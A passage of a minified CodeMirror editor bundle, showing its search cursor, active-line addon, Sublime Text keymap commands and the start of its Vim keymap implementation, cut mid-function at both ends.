e=d.line,f=d.ch,g=a.lastLine();e<=g;e++,f=0){b.lastIndex=f;var h=a.getLine(e),i=b.exec(h);if(i)return{from:p(e,i.index),to:p(e,i.index+i[0].length),match:i}}}function f(a,b,f){if(!d(b))return e(a,b,f);b=c(b);for(var g,h=1,i=f.line,j=a.lastLine();i<=j;){for(var k=0;k<h;k++){var l=a.getLine(i++);g=null==g?l:g+"\n"+l}h*=2,b.lastIndex=f.ch;var m=b.exec(g);if(m){var n=g.slice(0,m.index).split("\n"),o=m[0].split("\n"),q=f.line+n.length-1,r=n[n.length-1].length;return{from:p(q,r),to:p(q+o.length-1,1==o.length?r+o[0].length:o[o.length-1].length),match:m}}}}function g(a,b){for(var c,d=0;;){b.lastIndex=d;var e=b.exec(a);if(!e)return c;if(c=e,d=c.index+(c[0].length||1),d==a.length)return c}}function h(a,b,d){b=c(b);for(var e=d.line,f=d.ch,h=a.firstLine();e>=h;e--,f=-1){var i=a.getLine(e);f>-1&&(i=i.slice(0,f));var j=g(i,b);if(j)return{from:p(e,j.index),to:p(e,j.index+j[0].length),match:j}}}function i(a,b,d){b=c(b);for(var e,f=1,h=d.line,i=a.firstLine();h>=i;){for(var j=0;j<f;j++){var k=a.getLine(h--);e=null==e?k.slice(0,d.ch):k+"\n"+e}f*=2;var l=g(e,b);if(l){var m=e.slice(0,l.index).split("\n"),n=l[0].split("\n"),o=h+m.length,q=m[m.length-1].length;
+return{from:p(o,q),to:p(o+n.length-1,1==n.length?q+n[0].length:n[n.length-1].length),match:l}}}}function j(a,b,c,d){if(a.length==b.length)return c;for(var e=0,f=c+Math.max(0,a.length-b.length);;){if(e==f)return e;var g=e+f>>1,h=d(a.slice(0,g)).length;if(h==c)return g;h>c?f=g:e=g+1}}function k(a,b,c,d){if(!b.length)return null;var e=d?n:o,f=e(b).split(/\r|\n\r?/);a:for(var g=c.line,h=c.ch,i=a.lastLine()+1-f.length;g<=i;g++,h=0){var k=a.getLine(g).slice(h),l=e(k);if(1==f.length){var m=l.indexOf(f[0]);if(m==-1)continue a;var c=j(k,l,m,e)+h;return{from:p(g,j(k,l,m,e)+h),to:p(g,j(k,l,m+f[0].length,e)+h)}}var q=l.length-f[0].length;if(l.slice(q)==f[0]){for(var r=1;r<f.length-1;r++)if(e(a.getLine(g+r))!=f[r])continue a;var s=a.getLine(g+f.length-1),t=e(s),u=f[f.length-1];if(s.slice(0,u.length)==u)return{from:p(g,j(k,l,q,e)+h),to:p(g+f.length-1,j(s,t,u.length,e))}}}}function l(a,b,c,d){if(!b.length)return null;var e=d?n:o,f=e(b).split(/\r|\n\r?/);a:for(var g=c.line,h=c.ch,i=a.firstLine()-1+f.length;g>=i;g--,h=-1){var k=a.getLine(g);h>-1&&(k=k.slice(0,h));var l=e(k);if(1==f.length){var m=l.lastIndexOf(f[0]);if(m==-1)continue a;return{from:p(g,j(k,l,m,e)),to:p(g,j(k,l,m+f[0].length,e))}}var q=f[f.length-1];if(l.slice(0,q.length)==q){for(var r=1,c=g-f.length+1;r<f.length-1;r++)if(e(a.getLine(c+r))!=f[r])continue a;var s=a.getLine(g+1-f.length),t=e(s);if(t.slice(t.length-f[0].length)==f[0])return{from:p(g+1-f.length,j(s,t,s.length-f[0].length,e)),to:p(g,j(k,l,q.length,e))}}}}function m(a,b,d,g){this.atOccurrence=!1,this.doc=a,d=d?a.clipPos(d):p(0,0),this.pos={from:d,to:d};var j;"object"==typeof g?j=g.caseFold:(j=g,g=null),"string"==typeof b?(null==j&&(j=!1),this.matches=function(c,d){return(c?l:k)(a,b,d,j)}):(b=c(b),g&&g.multiline===!1?this.matches=function(c,d){return(c?h:e)(a,b,d)}:this.matches=function(c,d){return(c?i:f)(a,b,d)})}var n,o,p=a.Pos;String.prototype.normalize?(n=function(a){return a.normalize("NFD").toLowerCase()},o=function(a){return a.normalize("NFD")}):(n=function(a){return a.toLowerCase()},o=function(a){return a}),m.prototype={findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(b){for(var c=this.matches(b,this.doc.clipPos(b?this.pos.from:this.pos.to));c&&0==a.cmpPos(c.from,c.to);)b?c.from.ch?c.from=p(c.from.line,c.from.ch-1):c=c.from.line==this.doc.firstLine()?null:this.matches(b,this.doc.clipPos(p(c.from.line-1))):c.to.ch<this.doc.getLine(c.to.line).length?c.to=p(c.to.line,c.to.ch+1):c=c.to.line==this.doc.lastLine()?null:this.matches(b,p(c.to.line+1,0));if(c)return this.pos=c,this.atOccurrence=!0,this.pos.match||!0;var d=p(b?this.doc.firstLine():this.doc.lastLine()+1,0);return this.pos={from:d,to:d},this.atOccurrence=!1},from:function(){if(this.atOccurrence)return this.pos.from},to:function(){if(this.atOccurrence)return this.pos.to},replace:function(b,c){if(this.atOccurrence){var d=a.splitLines(b);this.doc.replaceRange(d,this.pos.from,this.pos.to,c),this.pos.to=p(this.pos.from.line+d.length-1,d[d.length-1].length+(1==d.length?this.pos.from.ch:0))}}},a.defineExtension("getSearchCursor",function(a,b,c){return new m(this.doc,a,b,c)}),a.defineDocExtension("getSearchCursor",function(a,b,c){return new m(this,a,b,c)}),a.defineExtension("selectMatches",function(b,c){for(var d=[],e=this.getSearchCursor(b,this.getCursor("from"),c);e.findNext()&&!(a.cmpPos(e.to(),this.getCursor("to"))>0);)d.push({anchor:e.from(),head:e.to()});d.length&&this.setSelections(d,0)})})},{"../../lib/codemirror":59}],50:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(a){for(var b=0;b<a.state.activeLines.length;b++)a.removeLineClass(a.state.activeLines[b],"wrap",f),a.removeLineClass(a.state.activeLines[b],"background",g),a.removeLineClass(a.state.activeLines[b],"gutter",h)}function c(a,b){if(a.length!=b.length)return!1;for(var c=0;c<a.length;c++)if(a[c]!=b[c])return!1;return!0}function d(a,d){for(var e=[],i=0;i<d.length;i++){var j=d[i],k=a.getOption("styleActiveLine");if("object"==typeof k&&k.nonEmpty?j.anchor.line==j.head.line:j.empty()){var l=a.getLineHandleVisualStart(j.head.line);e[e.length-1]!=l&&e.push(l)}}c(a.state.activeLines,e)||a.operation(function(){b(a);for(var c=0;c<e.length;c++)a.addLineClass(e[c],"wrap",f),a.addLineClass(e[c],"background",g),a.addLineClass(e[c],"gutter",h);a.state.activeLines=e})}function e(a,b){d(a,b.ranges)}var f="CodeMirror-activeline",g="CodeMirror-activeline-background",h="CodeMirror-activeline-gutter";a.defineOption("styleActiveLine",!1,function(c,f,g){var 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a.display.shift||a.doc.extend||d.empty()?b(a.doc,d.head,c):c<0?d.from():d.to()})}function d(b,c){return b.isReadOnly()?a.Pass:(b.operation(function(){for(var a=b.listSelections().length,d=[],e=-1,f=0;f<a;f++){var g=b.listSelections()[f].head;if(!(g.line<=e)){var h=o(g.line+(c?0:1),0);b.replaceRange("\n",h,null,"+insertLine"),b.indentLine(h.line,null,!0),
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d,e=b.listSelections(),f=[],g=0;g<e.length;g++){var h=e[g];if(!h.empty()){for(var i=h.from().line,j=h.to().line;g<e.length-1&&e[g+1].from().line==j;)j=e[++g].to().line;e[g].to().ch||j--,f.push(i,j)}}f.length?d=!0:f.push(b.firstLine(),b.lastLine()),b.operation(function(){for(var a=[],e=0;e<f.length;e+=2){var g=f[e],h=f[e+1],i=o(g,0),j=o(h),k=b.getRange(i,j,!1);c?k.sort():k.sort(function(a,b){var c=a.toUpperCase(),d=b.toUpperCase();return c!=d&&(a=c,b=d),a<b?-1:a==b?0:1}),b.replaceRange(k,i,j),d&&a.push({anchor:i,head:o(h+1,0)})}d&&b.setSelections(a,0)})}function j(b,c){b.operation(function(){for(var d=b.listSelections(),f=[],g=[],h=0;h<d.length;h++){var i=d[h];i.empty()?(f.push(h),g.push("")):g.push(c(b.getRange(i.from(),i.to())))}b.replaceSelections(g,"around","case");for(var j,h=f.length-1;h>=0;h--){var i=d[f[h]];if(!(j&&a.cmpPos(i.head,j)>0)){var k=e(b,i.head);j=k.from,b.replaceRange(c(k.word),k.from,k.to)}}})}function k(b){var c=b.getCursor("from"),d=b.getCursor("to");if(0==a.cmpPos(c,d)){var f=e(b,c);if(!f.word)return;c=f.from,d=f.to}return{from:c,to:d,query:b.getRange(c,d),word:f}}function l(a,b){var c=k(a);if(c){var d=c.query,e=a.getSearchCursor(d,b?c.to:c.from);(b?e.findNext():e.findPrevious())?a.setSelection(e.from(),e.to()):(e=a.getSearchCursor(d,b?o(a.firstLine(),0):a.clipPos(o(a.lastLine()))),(b?e.findNext():e.findPrevious())?a.setSelection(e.from(),e.to()):c.word&&a.setSelection(c.from,c.to))}}var m=a.keyMap.sublime={fallthrough:"default"},n=a.commands,o=a.Pos,p=a.keyMap["default"]==a.keyMap.macDefault,q=p?"Cmd-":"Ctrl-",r=p?"Ctrl-":"Alt-";n[m[r+"Left"]="goSubwordLeft"]=function(a){c(a,-1)},n[m[r+"Right"]="goSubwordRight"]=function(a){c(a,1)},p&&(m["Cmd-Left"]="goLineStartSmart");var s=p?"Ctrl-Alt-":"Ctrl-";n[m[s+"Up"]="scrollLineUp"]=function(a){var b=a.getScrollInfo();if(!a.somethingSelected()){var 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e=b[d];c.push({anchor:o(e.from().line,0),head:o(e.to().line+1,0)})}a.setSelections(c)},m["Shift-Ctrl-K"]="deleteLine",n[m[q+"Enter"]="insertLineAfter"]=function(a){return d(a,!1)},n[m["Shift-"+q+"Enter"]="insertLineBefore"]=function(a){return d(a,!0)},n[m[q+"D"]="selectNextOccurrence"]=function(b){var c=b.getCursor("from"),d=b.getCursor("to"),f=b.state.sublimeFindFullWord==b.doc.sel;if(0==a.cmpPos(c,d)){var h=e(b,c);if(!h.word)return;b.setSelection(h.from,h.to),f=!0}else{var i=b.getRange(c,d),j=f?new RegExp("\\b"+i+"\\b"):i,k=b.getSearchCursor(j,d),l=k.findNext();if(l||(k=b.getSearchCursor(j,o(b.firstLine(),0)),l=k.findNext()),!l||g(b.listSelections(),k.from(),k.to()))return a.Pass;b.addSelection(k.from(),k.to())}f&&(b.state.sublimeFindFullWord=b.doc.sel)};var t=p?"Shift-Cmd":"Alt-Ctrl";n[m[t+"Up"]="addCursorToPrevLine"]=function(a){f(a,-1)},n[m[t+"Down"]="addCursorToNextLine"]=function(a){f(a,1)};var u="(){}[]";n[m["Shift-"+q+"Space"]="selectScope"]=function(a){h(a)||a.execCommand("selectAll")},n[m["Shift-"+q+"M"]="selectBetweenBrackets"]=function(b){if(!h(b))return a.Pass},n[m[q+"M"]="goToBracket"]=function(b){b.extendSelectionsBy(function(c){var d=b.scanForBracket(c.head,1);if(d&&0!=a.cmpPos(d.pos,c.head))return d.pos;var e=b.scanForBracket(c.head,-1);return e&&o(e.pos.line,e.pos.ch+1)||c.head})};var v=p?"Cmd-Ctrl-":"Shift-Ctrl-";n[m[v+"Up"]="swapLineUp"]=function(b){if(b.isReadOnly())return a.Pass;for(var c=b.listSelections(),d=[],e=b.firstLine()-1,f=[],g=0;g<c.length;g++){var h=c[g],i=h.from().line-1,j=h.to().line;f.push({anchor:o(h.anchor.line-1,h.anchor.ch),head:o(h.head.line-1,h.head.ch)}),0!=h.to().ch||h.empty()||--j,i>e?d.push(i,j):d.length&&(d[d.length-1]=j),e=j}b.operation(function(){for(var a=0;a<d.length;a+=2){var c=d[a],e=d[a+1],g=b.getLine(c);b.replaceRange("",o(c,0),o(c+1,0),"+swapLine"),e>b.lastLine()?b.replaceRange("\n"+g,o(b.lastLine()),null,"+swapLine"):b.replaceRange(g+"\n",o(e,0),null,"+swapLine")}b.setSelections(f),b.scrollIntoView()})},n[m[v+"Down"]="swapLineDown"]=function(b){if(b.isReadOnly())return a.Pass;for(var c=b.listSelections(),d=[],e=b.lastLine()+1,f=c.length-1;f>=0;f--){var g=c[f],h=g.to().line+1,i=g.from().line;0!=g.to().ch||g.empty()||h--,h<e?d.push(h,i):d.length&&(d[d.length-1]=i),e=i}b.operation(function(){for(var a=d.length-2;a>=0;a-=2){var c=d[a],e=d[a+1],f=b.getLine(c);c==b.lastLine()?b.replaceRange("",o(c-1),o(c),"+swapLine"):b.replaceRange("",o(c,0),o(c+1,0),"+swapLine"),b.replaceRange(f+"\n",o(e,0),null,"+swapLine")}b.scrollIntoView()})},n[m[q+"/"]="toggleCommentIndented"]=function(a){a.toggleComment({indent:!0})},n[m[q+"J"]="joinLines"]=function(a){for(var b=a.listSelections(),c=[],d=0;d<b.length;d++){for(var e=b[d],f=e.from(),g=f.line,h=e.to().line;d<b.length-1&&b[d+1].from().line==h;)h=b[++d].to().line;c.push({start:g,end:h,anchor:!e.empty()&&f})}a.operation(function(){for(var b=0,d=[],e=0;e<c.length;e++){for(var f,g=c[e],h=g.anchor&&o(g.anchor.line-b,g.anchor.ch),i=g.start;i<=g.end;i++){var j=i-b;i==g.end&&(f=o(j,a.getLine(j).length+1)),j<a.lastLine()&&(a.replaceRange(" ",o(j),o(j+1,/^\s*/.exec(a.getLine(j+1))[0].length)),++b)}d.push({anchor:h||f,head:f})}a.setSelections(d,0)})},n[m["Shift-"+q+"D"]="duplicateLine"]=function(a){a.operation(function(){for(var b=a.listSelections().length,c=0;c<b;c++){var d=a.listSelections()[c];d.empty()?a.replaceRange(a.getLine(d.head.line)+"\n",o(d.head.line,0)):a.replaceRange(a.getRange(d.from(),d.to()),d.from())}a.scrollIntoView()})},p||(m[q+"T"]="transposeChars"),n[m.F9="sortLines"]=function(a){i(a,!0)},n[m[q+"F9"]="sortLinesInsensitive"]=function(a){i(a,!1)},n[m.F2="nextBookmark"]=function(a){var b=a.state.sublimeBookmarks;if(b)for(;b.length;){var c=b.shift(),d=c.find();if(d)return b.push(c),a.setSelection(d.from,d.to)}},n[m["Shift-F2"]="prevBookmark"]=function(a){var b=a.state.sublimeBookmarks;if(b)for(;b.length;){b.unshift(b.pop());var c=b[b.length-1].find();if(c)return a.setSelection(c.from,c.to);b.pop()}},n[m[q+"F2"]="toggleBookmark"]=function(a){for(var b=a.listSelections(),c=a.state.sublimeBookmarks||(a.state.sublimeBookmarks=[]),d=0;d<b.length;d++){for(var e=b[d].from(),f=b[d].to(),g=a.findMarks(e,f),h=0;h<g.length;h++)if(g[h].sublimeBookmark){g[h].clear();for(var i=0;i<c.length;i++)c[i]==g[h]&&c.splice(i--,1);break}h==g.length&&c.push(a.markText(e,f,{sublimeBookmark:!0,clearWhenEmpty:!1}))}},n[m["Shift-"+q+"F2"]="clearBookmarks"]=function(a){var b=a.state.sublimeBookmarks;if(b)for(var c=0;c<b.length;c++)b[c].clear();b.length=0},n[m["Alt-F2"]="selectBookmarks"]=function(a){var b=a.state.sublimeBookmarks,c=[];if(b)for(var d=0;d<b.length;d++){var e=b[d].find();e?c.push({anchor:e.from,head:e.to}):b.splice(d--,0)}c.length&&a.setSelections(c,0)},m["Alt-Q"]="wrapLines";var w=q+"K ";m[w+q+"Backspace"]="delLineLeft",n[m.Backspace="smartBackspace"]=function(b){return b.somethingSelected()?a.Pass:void b.operation(function(){for(var c=b.listSelections(),d=b.getOption("indentUnit"),e=c.length-1;e>=0;e--){var f=c[e].head,g=b.getRange({line:f.line,ch:0},f),h=a.countColumn(g,null,b.getOption("tabSize")),i=b.findPosH(f,-1,"char",!1);if(g&&!/\S/.test(g)&&h%d==0){var j=new o(f.line,a.findColumn(g,h-d,d));j.ch!=f.ch&&(i=j)}b.replaceRange("",i,f,"+delete")}})},n[m[w+q+"K"]="delLineRight"]=function(a){a.operation(function(){for(var b=a.listSelections(),c=b.length-1;c>=0;c--)a.replaceRange("",b[c].anchor,o(b[c].to().line),"+delete");a.scrollIntoView()})},n[m[w+q+"U"]="upcaseAtCursor"]=function(a){j(a,function(a){return a.toUpperCase()})},n[m[w+q+"L"]="downcaseAtCursor"]=function(a){j(a,function(a){return a.toLowerCase()})},n[m[w+q+"Space"]="setSublimeMark"]=function(a){a.state.sublimeMark&&a.state.sublimeMark.clear(),a.state.sublimeMark=a.setBookmark(a.getCursor())},n[m[w+q+"A"]="selectToSublimeMark"]=function(a){var b=a.state.sublimeMark&&a.state.sublimeMark.find();b&&a.setSelection(a.getCursor(),b)},n[m[w+q+"W"]="deleteToSublimeMark"]=function(b){var c=b.state.sublimeMark&&b.state.sublimeMark.find();if(c){var d=b.getCursor(),e=c;if(a.cmpPos(d,e)>0){var f=e;e=d,d=f}b.state.sublimeKilled=b.getRange(d,e),b.replaceRange("",d,e)}},n[m[w+q+"X"]="swapWithSublimeMark"]=function(a){var b=a.state.sublimeMark&&a.state.sublimeMark.find();b&&(a.state.sublimeMark.clear(),a.state.sublimeMark=a.setBookmark(a.getCursor()),a.setCursor(b))},n[m[w+q+"Y"]="sublimeYank"]=function(a){null!=a.state.sublimeKilled&&a.replaceSelection(a.state.sublimeKilled,null,"paste")},m[w+q+"G"]="clearBookmarks",n[m[w+q+"C"]="showInCenter"]=function(a){var b=a.cursorCoords(null,"local");a.scrollTo(null,(b.top+b.bottom)/2-a.getScrollInfo().clientHeight/2)};var x=p?"Ctrl-Shift-":"Ctrl-Alt-";n[m[x+"Up"]="selectLinesUpward"]=function(a){a.operation(function(){for(var b=a.listSelections(),c=0;c<b.length;c++){var d=b[c];d.head.line>a.firstLine()&&a.addSelection(o(d.head.line-1,d.head.ch))}})},n[m[x+"Down"]="selectLinesDownward"]=function(a){a.operation(function(){for(var b=a.listSelections(),c=0;c<b.length;c++){var d=b[c];d.head.line<a.lastLine()&&a.addSelection(o(d.head.line+1,d.head.ch))}})},n[m[q+"F3"]="findUnder"]=function(a){l(a,!0)},n[m["Shift-"+q+"F3"]="findUnderPrevious"]=function(a){l(a,!1)},n[m["Alt-F3"]="findAllUnder"]=function(a){var b=k(a);if(b){for(var c=a.getSearchCursor(b.query),d=[],e=-1;c.findNext();)d.push({anchor:c.from(),head:c.to()}),c.from().line<=b.from.line&&c.from().ch<=b.from.ch&&e++;a.setSelections(d,e)}},m["Shift-"+q+"["]="fold",m["Shift-"+q+"]"]="unfold",m[w+q+"0"]=m[w+q+"J"]="unfoldAll",m[q+"I"]="findIncremental",m["Shift-"+q+"I"]="findIncrementalReverse",m[q+"H"]="replace",m.F3="findNext",m["Shift-F3"]="findPrev",a.normalizeKeyMap(m)})},{"../addon/edit/matchbrackets":12,"../addon/search/searchcursor":49,"../lib/codemirror":59}],58:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../lib/codemirror"),a("../addon/search/searchcursor"),a("../addon/dialog/dialog"),a("../addon/edit/matchbrackets.js")):"function"==typeof define&&define.amd?define(["../lib/codemirror","../addon/search/searchcursor","../addon/dialog/dialog","../addon/edit/matchbrackets"],d):d(CodeMirror)}(function(a){"use strict";var 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c=a.latestRegister,d=vb.registerController.getRegister(c);d&&d.pushSearchQuery&&d.pushSearchQuery(b)}}function ab(a,b){var c=vb.macroModeState,d=c.lastInsertModeChanges;if(!c.isPlaying)for(;b;){if(d.expectCursorActivityForChange=!0,"+input"==b.origin||"paste"==b.origin||void 0===b.origin){var e=b.text.join("\n");d.maybeReset&&(d.changes=[],d.maybeReset=!1),a.state.overwrite&&!/\n/.test(e)?d.changes.push([e]):d.changes.push(e)}b=b.next}}function bb(a){var b=a.state.vim;if(b.insertMode){var c=vb.macroModeState;if(c.isPlaying)return;var d=c.lastInsertModeChanges;d.expectCursorActivityForChange?d.expectCursorActivityForChange=!1:d.maybeReset=!0}else a.curOp.isVimOp||db(a,b);b.visualMode&&cb(a)}function cb(a){var b=a.state.vim,c=J(a,R(b.sel.head)),d=L(c,0,1);b.fakeCursor&&b.fakeCursor.clear(),b.fakeCursor=a.markText(c,d,{className:"cm-animate-fat-cursor"})}function db(b,c){var d=b.getCursor("anchor"),e=b.getCursor("head");if(c.visualMode&&!b.somethingSelected()?ia(b,!1):c.visualMode||c.insertMode||!b.somethingSelected()||(c.visualMode=!0,c.visualLine=!1,a.signal(b,"vim-mode-change",{mode:"visual"})),c.visualMode){var f=T(e,d)?0:-1,g=T(e,d)?-1:0;e=L(e,0,f),d=L(d,0,g),c.sel={anchor:d,head:e},ua(b,c,"<",U(e,d)),ua(b,c,">",V(e,d))}else c.insertMode||(c.lastHPos=b.getCursor().ch)}function eb(a){this.keyName=a}function fb(b){function c(){return e.maybeReset&&(e.changes=[],e.maybeReset=!1),e.changes.push(new eb(f)),!0}var d=vb.macroModeState,e=d.lastInsertModeChanges,f=a.keyName(b);f&&(f.indexOf("Delete")==-1&&f.indexOf("Backspace")==-1||a.lookupKey(f,"vim-insert",c))}function gb(a,b,c,d){function e(){h?yb.processAction(a,b,b.lastEditActionCommand):yb.evalInput(a,b)}function f(c){if(g.lastInsertModeChanges.changes.length>0){c=b.lastEditActionCommand?c:1;var d=g.lastInsertModeChanges;hb(a,d.changes,c)}}var g=vb.macroModeState;g.isPlaying=!0;var h=!!b.lastEditActionCommand,i=b.inputState;if(b.inputState=b.lastEditInputState,h&&b.lastEditActionCommand.interlaceInsertRepeat)for(var j=0;j<c;j++)e(),f(1);else d||e(),f(c);b.inputState=i,b.insertMode&&!d&&Va(a),g.isPlaying=!1}function hb(b,c,d){function e(c){return"string"==typeof c?a.commands[c](b):c(b),!0}var f=b.getCursor("head"),g=vb.macroModeState.lastInsertModeChanges.inVisualBlock;if(g){var h=b.state.vim,i=h.lastSelection,j=M(i.anchor,i.head);aa(b,f,j.line+1),d=b.listSelections().length,b.setCursor(f)}for(var k=0;k<d;k++){g&&b.setCursor(L(f,k,0));for(var l=0;l<c.length;l++){var m=c[l];if(m instanceof eb)a.lookupKey(m.keyName,"vim-insert",e);else if("string"==typeof m){var n=b.getCursor();b.replaceRange(m,n,n)}else{var o=b.getCursor(),p=L(o,0,m[0].length);b.replaceRange(m[0],o,p)}}}g&&b.setCursor(L(f,0,1))}a.defineOption("vimMode",!1,function(b,c,d){c&&"vim"!=b.getOption("keyMap")?b.setOption("keyMap","vim"):!c&&d!=a.Init&&/^vim/.test(b.getOption("keyMap"))&&b.setOption("keyMap","default")});var ib={Shift:"S",Ctrl:"C",Alt:"A",Cmd:"D",Mod:"A"},jb={Enter:"CR",Backspace:"BS",Delete:"Del",Insert:"Ins"},kb=/[\d]/,lb=[a.isWordChar,function(b){return b&&!a.isWordChar(b)&&!/\s/.test(b)}],mb=[function(a){return/\S/.test(a)}],nb=l(65,26),ob=l(97,26),pb=l(48,10),qb=[].concat(nb,ob,pb,["<",">"]),rb=[].concat(nb,ob,pb,["-",'"',".",":","/"]),sb={};t("filetype",void 0,"string",["ft"],function(a,b){if(void 0!==b){if(void 0===a){var c=b.getOption("mode");return"null"==c?"":c}var c=""==a?"null":a;b.setOption("mode",c)}});var tb=function(){function a(a,b,h){function i(b){var e=++d%c,f=g[e];f&&f.clear(),g[e]=a.setBookmark(b)}var j=d%c,k=g[j];if(k){var l=k.find();l&&!S(l,b)&&i(b)}else i(b);i(h),e=d,f=d-c+1,f<0&&(f=0)}function b(a,b){d+=b,d>e?d=e:d<f&&(d=f);var h=g[(c+d)%c];if(h&&!h.find()){var i,j=b>0?1:-1,k=a.getCursor();do if(d+=j,h=g[(c+d)%c],h&&(i=h.find())&&!S(k,i))break;while(d<e&&d>f)}return h}var c=100,d=-1,e=0,f=0,g=new Array(c);return{cachedCursor:void 0,add:a,move:b}},ub=function(a){return a?{changes:a.changes,expectCursorActivityForChange:a.expectCursorActivityForChange}:{changes:[],expectCursorActivityForChange:!1}};w.prototype={exitMacroRecordMode:function(){var a=vb.macroModeState;a.onRecordingDone&&a.onRecordingDone(),a.onRecordingDone=void 0,a.isRecording=!1},enterMacroRecordMode:function(a,b){var c=vb.registerController.getRegister(b);c&&(c.clear(),this.latestRegister=b,a.openDialog&&(this.onRecordingDone=a.openDialog("(recording)["+b+"]",null,{bottom:!0})),this.isRecording=!0)}};var vb,wb,xb={buildKeyMap:function(){},getRegisterController:function(){return vb.registerController},resetVimGlobalState_:y,getVimGlobalState_:function(){return vb},maybeInitVimState_:x,suppressErrorLogging:!1,InsertModeKey:eb,map:function(a,b,c){Jb.map(a,b,c)},unmap:function(a,b){Jb.unmap(a,b)},setOption:u,getOption:v,defineOption:t,defineEx:function(a,b,c){if(b){if(0!==a.indexOf(b))throw new Error('(Vim.defineEx) "'+b+'" is not a prefix of "'+a+'", command not registered')}else b=a;Ib[a]=c,Jb.commandMap_[b]={name:a,shortName:b,type:"api"}},handleKey:function(a,b,c){var d=this.findKey(a,b,c);if("function"==typeof d)return d()},findKey:function(c,d,e){function f(){var a=vb.macroModeState;if(a.isRecording){if("q"==d)return a.exitMacroRecordMode(),A(c),!0;"mapping"!=e&&Za(a,d)}}function g(){if("<Esc>"==d)return A(c),l.visualMode?ia(c):l.insertMode&&Va(c),!0}function h(b){for(var e;b;)e=/<\w+-.+?>|<\w+>|./.exec(b),d=e[0],b=b.substring(e.index+d.length),a.Vim.handleKey(c,d,"mapping")}function i(){if(g())return!0;for(var a=l.inputState.keyBuffer=l.inputState.keyBuffer+d,e=1==d.length,f=yb.matchCommand(a,b,l.inputState,"insert");a.length>1&&"full"!=f.type;){var a=l.inputState.keyBuffer=a.slice(1),h=yb.matchCommand(a,b,l.inputState,"insert");"none"!=h.type&&(f=h)}if("none"==f.type)return A(c),!1;if("partial"==f.type)return wb&&window.clearTimeout(wb),wb=window.setTimeout(function(){l.insertMode&&l.inputState.keyBuffer&&A(c)},v("insertModeEscKeysTimeout")),!e;if(wb&&window.clearTimeout(wb),e){for(var i=c.listSelections(),j=0;j<i.length;j++){var k=i[j].head;c.replaceRange("",L(k,0,-(a.length-1)),k,"+input")}vb.macroModeState.lastInsertModeChanges.changes.pop()}return A(c),f.command}function j(){if(f()||g())return!0;var a=l.inputState.keyBuffer=l.inputState.keyBuffer+d;if(/^[1-9]\d*$/.test(a))return!0;var e=/^(\d*)(.*)$/.exec(a);if(!e)return A(c),!1;var h=l.visualMode?"visual":"normal",i=yb.matchCommand(e[2]||e[1],b,l.inputState,h);if("none"==i.type)return A(c),!1;if("partial"==i.type)return!0;l.inputState.keyBuffer="";var e=/^(\d*)(.*)$/.exec(a);return e[1]&&"0"!=e[1]&&l.inputState.pushRepeatDigit(e[1]),i.command}var k,l=x(c);return k=l.insertMode?i():j(),k===!1?void 0:k===!0?function(){return!0}:function(){return c.operation(function(){c.curOp.isVimOp=!0;try{"keyToKey"==k.type?h(k.toKeys):yb.processCommand(c,l,k)}catch(b){throw c.state.vim=void 0,x(c),a.Vim.suppressErrorLogging||console.log(b),b}return!0})}},handleEx:function(a,b){Jb.processCommand(a,b)},defineMotion:F,defineAction:I,defineOperator:H,mapCommand:Xa,_mapCommand:Wa,defineRegister:C,exitVisualMode:ia,exitInsertMode:Va};z.prototype.pushRepeatDigit=function(a){this.operator?this.motionRepeat=this.motionRepeat.concat(a):this.prefixRepeat=this.prefixRepeat.concat(a)},z.prototype.getRepeat=function(){var a=0;return(this.prefixRepeat.length>0||this.motionRepeat.length>0)&&(a=1,this.prefixRepeat.length>0&&(a*=parseInt(this.prefixRepeat.join(""),10)),this.motionRepeat.length>0&&(a*=parseInt(this.motionRepeat.join(""),10))),a},B.prototype={setText:function(a,b,c){this.keyBuffer=[a||""],this.linewise=!!b,this.blockwise=!!c},pushText:function(a,b){b&&(this.linewise||this.keyBuffer.push("\n"),this.linewise=!0),this.keyBuffer.push(a)},pushInsertModeChanges:function(a){this.insertModeChanges.push(ub(a))},pushSearchQuery:function(a){this.searchQueries.push(a)},clear:function(){this.keyBuffer=[],this.insertModeChanges=[],this.searchQueries=[],this.linewise=!1},toString:function(){return this.keyBuffer.join("")}},D.prototype={pushText:function(a,b,c,d,e){d&&"\n"!==c.charAt(c.length-1)&&(c+="\n");var f=this.isValidRegister(a)?this.getRegister(a):null;if(!f){switch(b){case"yank":this.registers[0]=new B(c,d,e);break;case"delete":case"change":c.indexOf("\n")==-1?this.registers["-"]=new B(c,d):(this.shiftNumericRegisters_(),this.registers[1]=new B(c,d))}return void this.unnamedRegister.setText(c,d,e)}var g=q(a);g?f.pushText(c,d):f.setText(c,d,e),this.unnamedRegister.setText(f.toString(),d)},getRegister:function(a){return this.isValidRegister(a)?(a=a.toLowerCase(),this.registers[a]||(this.registers[a]=new B),this.registers[a]):this.unnamedRegister},isValidRegister:function(a){return a&&s(a,rb)},shiftNumericRegisters_:function(){for(var a=9;a>=2;a--)this.registers[a]=this.getRegister(""+(a-1))}},E.prototype={nextMatch:function(a,b){var c=this.historyBuffer,d=b?-1:1;null===this.initialPrefix&&(this.initialPrefix=a);for(var e=this.iterator+d;b?e>=0:e<c.length;e+=d)for(var f=c[e],g=0;g<=f.length;g++)if(this.initialPrefix==f.substring(0,g))return this.iterator=e,f;return e>=c.length?(this.iterator=c.length,this.initialPrefix):e<0?a:void 0},pushInput:function(a){var b=this.historyBuffer.indexOf(a);b>-1&&this.historyBuffer.splice(b,1),a.length&&this.historyBuffer.push(a)},reset:function(){this.initialPrefix=null,this.iterator=this.historyBuffer.length}};var yb={matchCommand:function(a,b,c,d){var e=N(a,b,d,c);if(!e.full&&!e.partial)return{type:"none"};if(!e.full&&e.partial)return{type:"partial"};for(var f,g=0;g<e.full.length;g++){var h=e.full[g];f||(f=h)}if("<character>"==f.keys.slice(-11)){var 